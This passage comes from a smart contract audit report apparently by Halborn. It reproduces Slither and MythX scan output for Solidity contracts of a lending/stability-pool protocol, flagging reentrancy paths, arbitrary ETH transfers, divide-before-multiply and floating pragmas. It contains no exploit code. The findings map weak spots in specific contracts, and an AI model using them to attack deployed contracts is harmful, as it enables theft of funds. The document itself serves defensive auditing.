AddressUpgradeable.functionCall(address,bytes) (lib/openzeppelin-contracts/contracts-upgradeable/utils/AddressUpgradeable.sol#85-87) is never used and should be removed
AddressUpgradeable.functionCall(address,bytes,string) (lib/openzeppelin-contracts/contracts-upgradeable/utils/AddressUpgradeable.sol#95-101) is never used and should be removed
AddressUpgradeable.functionCallWithValue(address,bytes,uint256) (lib/openzeppelin-contracts/contracts-upgradeable/utils/AddressUpgradeable.sol#114-120) is never used and should be removed
AddressUpgradeable.functionCallWithValue(address,bytes,uint256,string) (lib/openzeppelin-contracts/contracts-upgradeable/utils/AddressUpgradeable.sol#128-137) is never used and should be removed
AddressUpgradeable.functionStaticCall(address,bytes) (lib/openzeppelin-contracts/contracts-upgradeable/utils/AddressUpgradeable.sol#145-147) is never used and should be removed
AddressUpgradeable.functionStaticCall(address,bytes,string) (lib/openzeppelin-contracts/contracts-upgradeable/utils/AddressUpgradeable.sol#155-162) is never used and should be removed
AddressUpgradeable.sendValue(address,uint256) (lib/openzeppelin-contracts/contracts-upgradeable/utils/AddressUpgradeable.sol#60-65) is never used and should be removed
AddressUpgradeable.verifyCallResult(bool,bytes,string) (lib/openzeppelin-contracts/contracts-upgradeable/utils/AddressUpgradeable.sol#194-204) is never used and should be removed
AddressUpgradeable.verifyCallResultFromTarget(address,bool,bytes,string) (lib/openzeppelin-contracts/contracts-upgradeable/utils/AddressUpgradeable.sol#170-186) is never used and should be removed
ContextUpgradeable.__Context_init() (lib/openzeppelin-contracts/contracts-upgradeable/utils/ContextUpgradeable.sol#18-19) is never used and should be removed
ContextUpgradeable.__Context_init_unchained() (lib/openzeppelin-contracts/contracts-upgradeable/utils/ContextUpgradeable.sol#21-22) is never used and should be removed
ContextUpgradeable._msgData() (lib/openzeppelin-contracts/contracts-upgradeable/utils/ContextUpgradeable.sol#27-29) is never used and should be removed
Initializable._disableInitializers() (lib/openzeppelin-contracts/contracts-upgradeable/proxy/utils/Initializable.sol#144-150) is never used and should be removed
Initializable._getInitializedVersion() (lib/openzeppelin-contracts/contracts-upgradeable/proxy/utils/Initializable.sol#155-157) is never used and should be removed
Initializable._isInitializing() (lib/openzeppelin-contracts/contracts-upgradeable/proxy/utils/Initializable.sol#162-164) is never used and should be removed
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#dead-code
INFO:Detectors:
Pragma version^0.8.0 (lib/openzeppelin-contracts/contracts-upgradeable/access/OwnableUpgradeable.sol#4) allows old versions
Pragma version^0.8.0 (lib/openzeppelin-contracts/contracts-upgradeable/proxy/utils/Initializable.sol#4) allows old versions
Pragma version^0.8.0 (lib/openzeppelin-contracts/contracts-upgradeable/utils/AddressUpgradeable.sol#4) allows old versions
Pragma version^0.8.0 (lib/openzeppelin-contracts/contracts-upgradeable/utils/ContextUpgradeable.sol#4) allows old versions
Pragma version^0.8.0 (src/Interfaces/IOracle.sol#3) allows old versions
Pragma version^0.8.0 (src/Interfaces/IPriceFeed.sol#3) allows old versions
Pragma version^0.8.0 (src/PriceFeed.sol#3) allows old versions
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#incorrect-versions-of-solidity
INFO:Detectors:
Low level call in AddressUpgradeable.sendValue(address,uint256) (lib/openzeppelin-contracts/contracts-upgradeable/utils/AddressUpgradeable.sol#60-65):
	- (success) = recipient.call{value: amount}() (lib/openzeppelin-contracts/contracts-upgradeable/utils/AddressUpgradeable.sol#63)
Low level call in AddressUpgradeable.functionCallWithValue(address,bytes,uint256,string) (lib/openzeppelin-contracts/contracts-upgradeable/utils/AddressUpgradeable.sol#128-137):
	- (success,returndata) = target.call{value: value}(data) (lib/openzeppelin-contracts/contracts-upgradeable/utils/AddressUpgradeable.sol#135)
Low level call in AddressUpgradeable.functionStaticCall(address,bytes,string) (lib/openzeppelin-contracts/contracts-upgradeable/utils/AddressUpgradeable.sol#155-162):
	- (success,returndata) = target.staticcall(data) (lib/openzeppelin-contracts/contracts-upgradeable/utils/AddressUpgradeable.sol#160)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#low-level-calls
```

contracts/StabilityPool.sol

```
INFO:Detectors:
StabilityPool._sendETHGainToDepositor(address,uint256) (src/StabilityPool.sol#731-747) sends eth to arbitrary user
	Dangerous calls:
	- (success) = msg.sender.call{value: _amount}() (src/StabilityPool.sol#739)
StabilityPool._sendETHGainToClip(address,uint256,address,address) (src/StabilityPool.sol#749-759) sends eth to arbitrary user
	Dangerous calls:
	- borrowerOperations.moveETHGainToClip{value: _depositorAssetGain}(_asset,_depositorAssetGain,msg.sender,_upperHint,_lowerHint) (src/StabilityPool.sol#756-758)
	- borrowerOperations.moveETHGainToClip{value: 0}(_asset,_depositorAssetGain,msg.sender,_upperHint,_lowerHint) (src/StabilityPool.sol#756-758)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#functions-that-send-ether-to-arbitrary-destinations
INFO:Detectors:
StabilityPool._computeTenetPerUnitStaked(uint256,uint256) (src/StabilityPool.sol#434-452) performs a multiplication on the result of a division:
	- tenetPerUnitStaked = tenetNumerator.div(_totalLSDCDeposits) (src/StabilityPool.sol#448)
	- lastTenetError = tenetNumerator.sub(tenetPerUnitStaked.mul(_totalLSDCDeposits)) (src/StabilityPool.sol#449)
StabilityPool._computeRewardsPerUnitStaked(address,uint256,uint256,uint256) (src/StabilityPool.sol#478-518) performs a multiplication on the result of a division:
	- ETHGainPerUnitStaked = ETHNumerator.div(_totalLSDCDeposits) (src/StabilityPool.sol#514)
	- lastETHError_Offset[_asset] = ETHNumerator.sub(ETHGainPerUnitStaked.mul(_totalLSDCDeposits)) (src/StabilityPool.sol#515)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#divide-before-multiply
INFO:Detectors:
StabilityPool._updateT(uint256) (src/StabilityPool.sol#418-432) uses a dangerous strict equality:
	- totalLSDC == 0 || _tenetIssuance == 0 (src/StabilityPool.sol#424)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#dangerous-strict-equalities
INFO:Detectors:
StabilityPool._updateDepositAndSnapshots(address,uint256) (src/StabilityPool.sol#804-837) deletes StabilityPool.Snapshots (src/StabilityPool.sol#169-175) which contains a mapping:
	-delete depositSnapshots[_depositor] (src/StabilityPool.sol#814)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#deletion-on-mapping-containing-a-structure
INFO:Detectors:
Reentrancy in StabilityPool.offset(address,uint256,uint256) (src/StabilityPool.sol#461-474):
	External calls:
	- _claimRewardTokens() (src/StabilityPool.sol#466)
		- liquidityGauge.claim_rewards(address(this)) (src/StabilityPool.sol#410)
	State variables written after the call(s):
	- _updateRewardSumAndProduct(_asset,ETHGainPerUnitStaked,LSDCLossPerUnitStaked) (src/StabilityPool.sol#471)
		- P = newP (src/StabilityPool.sol#568)
	StabilityPool.P (src/StabilityPool.sol#186) can be used in cross function reentrancies:
	- StabilityPool.P (src/StabilityPool.sol#186)
	- StabilityPool._getCompoundedStakeFromSnapshots(uint256,StabilityPool.Snapshots) (src/StabilityPool.sol#678-719)
	- StabilityPool._updateDepositAndSnapshots(address,uint256) (src/StabilityPool.sol#804-837)
	- StabilityPool._updateRewardSumAndProduct(address,uint256,uint256) (src/StabilityPool.sol#521-571)
	- StabilityPool._updateT(uint256) (src/StabilityPool.sol#418-432)
	- StabilityPool.setAddresses(address,address,address,address,address,address,address,address,address) (src/StabilityPool.sol#220-271)
	- _updateRewardSumAndProduct(_asset,ETHGainPerUnitStaked,LSDCLossPerUnitStaked) (src/StabilityPool.sol#471)
		- currentEpoch = currentEpochCached.add(1) (src/StabilityPool.sol#552)
	StabilityPool.currentEpoch (src/StabilityPool.sol#194) can be used in cross function reentrancies:
	- StabilityPool._getCompoundedStakeFromSnapshots(uint256,StabilityPool.Snapshots) (src/StabilityPool.sol#678-719)
	- StabilityPool._updateDepositAndSnapshots(address,uint256) (src/StabilityPool.sol#804-837)
	- StabilityPool._updateRewardSumAndProduct(address,uint256,uint256) (src/StabilityPool.sol#521-571)
	- StabilityPool._updateT(uint256) (src/StabilityPool.sol#418-432)
	- StabilityPool.currentEpoch (src/StabilityPool.sol#194)
	- _updateRewardSumAndProduct(_asset,ETHGainPerUnitStaked,LSDCLossPerUnitStaked) (src/StabilityPool.sol#471)
		- currentScale = 0 (src/StabilityPool.sol#554)
		- currentScale = currentScaleCached.add(1) (src/StabilityPool.sol#561)
	StabilityPool.currentScale (src/StabilityPool.sol#191) can be used in cross function reentrancies:
	- StabilityPool._getCompoundedStakeFromSnapshots(uint256,StabilityPool.Snapshots) (src/StabilityPool.sol#678-719)
	- StabilityPool._updateDepositAndSnapshots(address,uint256) (src/StabilityPool.sol#804-837)
	- StabilityPool._updateRewardSumAndProduct(address,uint256,uint256) (src/StabilityPool.sol#521-571)
	- StabilityPool._updateT(uint256) (src/StabilityPool.sol#418-432)
	- StabilityPool.currentScale (src/StabilityPool.sol#191)
Reentrancy in StabilityPool.offset(address,uint256,uint256) (src/StabilityPool.sol#461-474):
	External calls:
	- _claimRewardTokens() (src/StabilityPool.sol#466)
		- liquidityGauge.claim_rewards(address(this)) (src/StabilityPool.sol#410)
	- _moveOffsetCollAndDebt(_asset,_collToAdd,_debtToOffset) (src/StabilityPool.sol#473)
		- activePoolCached.decreaseLSDCDebt(_asset,_debtToOffset) (src/StabilityPool.sol#577)
		- lsdcToken.burn(address(this),_debtToOffset) (src/StabilityPool.sol#581)
		- activePoolCached.sendETH(_asset,address(this),_collToAdd) (src/StabilityPool.sol#583)
	State variables written after the call(s):
	- _moveOffsetCollAndDebt(_asset,_collToAdd,_debtToOffset) (src/StabilityPool.sol#473)
		- totalLSDCDeposits = newTotalLSDCDeposits (src/StabilityPool.sol#588)
	StabilityPool.totalLSDCDeposits (src/StabilityPool.sol#158) can be used in cross function reentrancies:
	- StabilityPool._applyValidationRewards(address) (src/StabilityPool.sol#770-778)
	- StabilityPool._claimRewardTokens() (src/StabilityPool.sol#408-416)
	- StabilityPool._decreaseLSDC(uint256) (src/StabilityPool.sol#586-590)
```

contracts/LSDCToken.sol

```
INFO:Detectors:
LSDCToken.constructor(address,address,address)._clipManagerAddress (src/LSDCToken.sol#64) lacks a zero-check on :
                - clipManagerAddress = _clipManagerAddress (src/LSDCToken.sol#73)
LSDCToken.constructor(address,address,address)._stabilityPoolAddress (src/LSDCToken.sol#65) lacks a zero-check on :
                - stabilityPoolAddress = _stabilityPoolAddress (src/LSDCToken.sol#76)
LSDCToken.constructor(address,address,address)._borrowerOperationsAddress (src/LSDCToken.sol#66) lacks a zero-check on :
                - borrowerOperationsAddress = _borrowerOperationsAddress (src/LSDCToken.sol#79)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#missing-zero-address-validation
INFO:Detectors:
LSDCToken.permit(address,address,uint256,uint256,uint8,bytes32,bytes32) (src/LSDCToken.sol#165-186) uses timestamp for comparisons
        Dangerous comparisons:
        - require(bool,string)(deadline >= block.timestamp,LSDC: expired deadline) (src/LSDCToken.sol#178)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#block-timestamp
INFO:Detectors:
LSDCToken._chainID() (src/LSDCToken.sol#194-198) uses assembly
        - INLINE ASM (src/LSDCToken.sol#195-197)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#assembly-usage
INFO:Detectors:
SafeMath.div(uint256,uint256) (lib/openzeppelin-contracts/contracts/utils/math/SafeMath.sol#135-137) is never used and should be removed
SafeMath.div(uint256,uint256,string) (lib/openzeppelin-contracts/contracts/utils/math/SafeMath.sol#191-200) is never used and should be removed
SafeMath.mod(uint256,uint256) (lib/openzeppelin-contracts/contracts/utils/math/SafeMath.sol#151-153) is never used and should be removed
SafeMath.mod(uint256,uint256,string) (lib/openzeppelin-contracts/contracts/utils/math/SafeMath.sol#217-226) is never used and should be removed
SafeMath.mul(uint256,uint256) (lib/openzeppelin-contracts/contracts/utils/math/SafeMath.sol#121-123) is never used and should be removed
SafeMath.tryAdd(uint256,uint256) (lib/openzeppelin-contracts/contracts/utils/math/SafeMath.sol#22-28) is never used and should be removed
SafeMath.tryDiv(uint256,uint256) (lib/openzeppelin-contracts/contracts/utils/math/SafeMath.sol#64-69) is never used and should be removed
SafeMath.tryMod(uint256,uint256) (lib/openzeppelin-contracts/contracts/utils/math/SafeMath.sol#76-81) is never used and should be removed
SafeMath.tryMul(uint256,uint256) (lib/openzeppelin-contracts/contracts/utils/math/SafeMath.sol#47-57) is never used and should be removed
SafeMath.trySub(uint256,uint256) (lib/openzeppelin-contracts/contracts/utils/math/SafeMath.sol#35-40) is never used and should be removed
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#dead-code
INFO:Detectors:
Pragma version^0.8.0 (lib/openzeppelin-contracts/contracts/utils/math/SafeMath.sol#4) allows old versions
Pragma version^0.8.0 (src/Interfaces/ILSDCToken.sol#3) allows old versions
Pragma version^0.8.0 (src/LSDCToken.sol#3) allows old versions
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#incorrect-versions-of-solidity
```

contracts/ClipManager.sol

```
INFO:Detectors:
ClipManager._addValidationRewards(address,uint256) (src/ClipManager.sol#747-755) performs a multiplication on the result of a division:
        - rewardPerUnitStaked = numerator.div(totalStakes[_asset]) (src/ClipManager.sol#751)
        - lastRewardError_Validation[_asset] = numerator.sub(rewardPerUnitStaked.mul(totalStakes[_asset])) (src/ClipManager.sol#753)
ClipManager._redistributeDebtAndColl(address,IActivePool,IDefaultPool,uint256,uint256) (src/ClipManager.sol#980-1014) performs a multiplication on the result of a division:
        - ETHRewardPerUnitStaked = ETHNumerator.div(totalStakes[_asset]) (src/ClipManager.sol#998)
        - lastETHError_Redistribution[_asset] = ETHNumerator.sub(ETHRewardPerUnitStaked.mul(totalStakes[_asset])) (src/ClipManager.sol#1001)
ClipManager._redistributeDebtAndColl(address,IActivePool,IDefaultPool,uint256,uint256) (src/ClipManager.sol#980-1014) performs a multiplication on the result of a division:
        - LSDCDebtRewardPerUnitStaked = LSDCDebtNumerator.div(totalStakes[_asset]) (src/ClipManager.sol#999)
        - lastLSDCDebtError_Redistribution[_asset] = LSDCDebtNumerator.sub(LSDCDebtRewardPerUnitStaked.mul(totalStakes[_asset])) (src/ClipManager.sol#1002)
ClipManager.slitherConstructorConstantVariables() (src/ClipManager.sol#19-1325) performs a multiplication on the result of a division:
        - REDEMPTION_FEE_FLOOR = DECIMAL_PRECISION / 1000 * 5 (src/ClipManager.sol#49)
ClipManager.slitherConstructorConstantVariables() (src/ClipManager.sol#19-1325) performs a multiplication on the result of a division:
        - MAX_BORROWING_FEE = DECIMAL_PRECISION / 100 * 5 (src/ClipManager.sol#50)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#divide-before-multiply
INFO:Detectors:
Reentrancy in ClipManager._applyPendingRewards(address,IActivePool,IDefaultPool,IValidationFeePool,address) (src/ClipManager.sol#767-770):
        External calls:
        - _applyPendingRedistributionRewards(_asset,_activePool,_defaultPool,_borrower) (src/ClipManager.sol#768)
                - _defaultPool.decreaseLSDCDebt(_asset,_LSDC) (src/ClipManager.sol#491)
                - _activePool.increaseLSDCDebt(_asset,_LSDC) (src/ClipManager.sol#492)
                - _defaultPool.sendETHToActivePool(_asset,_ETH) (src/ClipManager.sol#493)
        - _applyPendingValidationRewards(_asset,_validationFeePool,_borrower) (src/ClipManager.sol#769)
                - activePool.claimStakingRewardsAndSendToPool(_asset) (src/ClipManager.sol#821)
                - _validationFeePool.sendValidationRewards(_asset,_borrower,validationRewardBorrower) (src/ClipManager.sol#810)
                - _validationFeePool.sendValidationRewards(_asset,attributes.feeCollector(),validationRewardGovernance) (src/ClipManager.sol#811)
        State variables written after the call(s):
        - _applyPendingValidationRewards(_asset,_validationFeePool,_borrower) (src/ClipManager.sol#769)
                - rewardSnapshots[_asset][_borrower].validationReward = V_Reward[_asset] (src/ClipManager.sol#842)
        ClipManager.rewardSnapshots (src/ClipManager.sol#106) can be used in cross function reentrancies:
        - ClipManager._closeClip(address,address,ClipManager.Status) (src/ClipManager.sol#1021-1037)
        - ClipManager._updateClipRewardSnapshots(address,address) (src/ClipManager.sol#830-834)
        - ClipManager._updateClipValidationRewardSnapshots(address,address) (src/ClipManager.sol#841-844)
        - ClipManager.getPendingETHReward(address,address) (src/ClipManager.sol#847-858)
        - ClipManager.getPendingLSDCDebtReward(address,address) (src/ClipManager.sol#861-872)
        - ClipManager.getPendingValidationReward(address,address) (src/ClipManager.sol#877-889)
        - ClipManager.hasPendingRewards(address,address) (src/ClipManager.sol#891-900)
        - ClipManager.hasPendingValidationRewards(address,address) (src/ClipManager.sol#902-911)
        - ClipManager.rewardSnapshots (src/ClipManager.sol#106)
Reentrancy in ClipManager._liquidate(address,IActivePool,IDefaultPool,address,uint256) (src/ClipManager.sol#292-326):
        External calls:
        - _movePendingClipRewardsToActivePool(_asset,_activePool,_defaultPool,vars.pendingDebtReward,vars.pendingCollReward) (src/ClipManager.sol#309)
                - _defaultPool.decreaseLSDCDebt(_asset,_LSDC) (src/ClipManager.sol#491)
                - _activePool.increaseLSDCDebt(_asset,_LSDC) (src/ClipManager.sol#492)
                - _defaultPool.sendETHToActivePool(_asset,_ETH) (src/ClipManager.sol#493)
        - _applyPendingValidationRewards(_asset,validationFeePool,_borrower) (src/ClipManager.sol#310)
                - activePool.claimStakingRewardsAndSendToPool(_asset) (src/ClipManager.sol#821)
                - _validationFeePool.sendValidationRewards(_asset,_borrower,validationRewardBorrower) (src/ClipManager.sol#810)
                - _validationFeePool.sendValidationRewards(_asset,attributes.feeCollector(),validationRewardGovernance) (src/ClipManager.sol#811)
        State variables written after the call(s):
        - _removeStake(_asset,_borrower) (src/ClipManager.sol#311)
                - Clips[_asset][_borrower].stake = 0 (src/ClipManager.sol#942)
        ClipManager.Clips (src/ClipManager.sol#83) can be used in cross function reentrancies:
        - ClipManager.Clips (src/ClipManager.sol#83)
        - ClipManager._addClipOwnerToArray(address,address) (src/ClipManager.sol#1065-1077)
        - ClipManager._applyPendingRedistributionRewards(address,IActivePool,IDefaultPool,address) (src/ClipManager.sol#773-799)
        - ClipManager._closeClip(address,address,ClipManager.Status) (src/ClipManager.sol#1021-1037)
        - ClipManager._getCurrentClipAmounts(address,address) (src/ClipManager.sol#732-740)
        - ClipManager._redeemCollateralFromClip(address,ClipManager.ContractsCache,address,uint256,uint256,address,address,uint256) (src/ClipManager.sol#499-561)
        - ClipManager._removeClipOwner(address,address,uint256) (src/ClipManager.sol#1083-1101)
        - ClipManager._removeStake(address,address) (src/ClipManager.sol#939-943)
        - ClipManager._requireClipIsActive(address,address) (src/ClipManager.sol#1243-1245)
        - ClipManager._updateStakeAndTotalStakes(address,address) (src/ClipManager.sol#951-960)
        - ClipManager.decreaseClipColl(address,address,uint256) (src/ClipManager.sol#1305-1310)
        - ClipManager.decreaseClipDebt(address,address,uint256) (src/ClipManager.sol#1319-1324)
        - ClipManager.getClipColl(address,address) (src/ClipManager.sol#1287-1289)
        - ClipManager.getClipDebt(address,address) (src/ClipManager.sol#1283-1285)
        - ClipManager.getClipStake(address,address) (src/ClipManager.sol#1279-1281)
        - ClipManager.getClipStatus(address,address) (src/ClipManager.sol#1275-1277)
        - ClipManager.getEntireDebtAndColl(address,address) (src/ClipManager.sol#914-931)
        - ClipManager.getPendingETHReward(address,address) (src/ClipManager.sol#847-858)
        - ClipManager.getPendingLSDCDebtReward(address,address) (src/ClipManager.sol#861-872)
```

- As a result of the tests carried out with the Slither tool, some results were obtained and reviewed by Halborn. Based on the results reviewed, some vulnerabilities were determined to be false positives. The actual vulnerabilities found by Slither are already included in the report findings.

6.2 AUTOMATED SECURITY SCAN

Description:

Halborn used automated security scanners to assist with detection of well-known security issues, and to identify low-hanging fruits on the targets for this engagement. Among the tools used was MythX, a security analysis service for Ethereum smart contracts. MythX performed a scan on all the contracts and sent the compiled results to the analyzers to locate any vulnerabilities.

MythX results:

Report for src/ActivePool.sol
https://dashboard.mythx.io/#/console/analyses/47396ef9-8557-4291-8a9b-870e9b6ee5de

Line	SWC Title	Severity	Short Description
3	(SWC-103) Floating Pragma	Low	A floating pragma is set.

Report for src/BorrowerOperations.sol
https://dashboard.mythx.io/#/console/analyses/5b1b8abc-5733-46cd-92fb-f4aa26628abd

Line	SWC Title	Severity	Short Description
3	(SWC-103) Floating Pragma	Low	A floating pragma is set.
24	(SWC-108) State Variable Default Visibility	Low	State variable visibility is not set.
26	(SWC-108) State Variable Default Visibility	Low	State variable visibility is not set.
28	(SWC-108) State Variable Default Visibility	Low	State variable visibility is not set.

Report for src/Attributes.sol
https://dashboard.mythx.io/#/console/analyses/a28ec134-80fb-460e-b4ca-fd0b123119e3

Line	SWC Title	Severity	Short Description
3	(SWC-103) Floating Pragma	Low	A floating pragma is set.

Report for src/PriceFeed.sol
https://dashboard.mythx.io/#/console/analyses/e7c19eb0-e160-4fde-be0b-f2c3becebe73

Line	SWC Title	Severity	Short Description
3	(SWC-103) Floating Pragma	Low	A floating pragma is set.

Report for src/StabilityPool.sol
https://dashboard.mythx.io/#/console/analyses/8246e844-b0e4-4136-8cea-e3cfb463470d

Line	SWC Title	Severity	Short Description
3	(SWC-103) Floating Pragma	Low	A floating pragma is set.

- No major issues found by Mythx.

THANK YOU FOR CHOOSING

HALBORN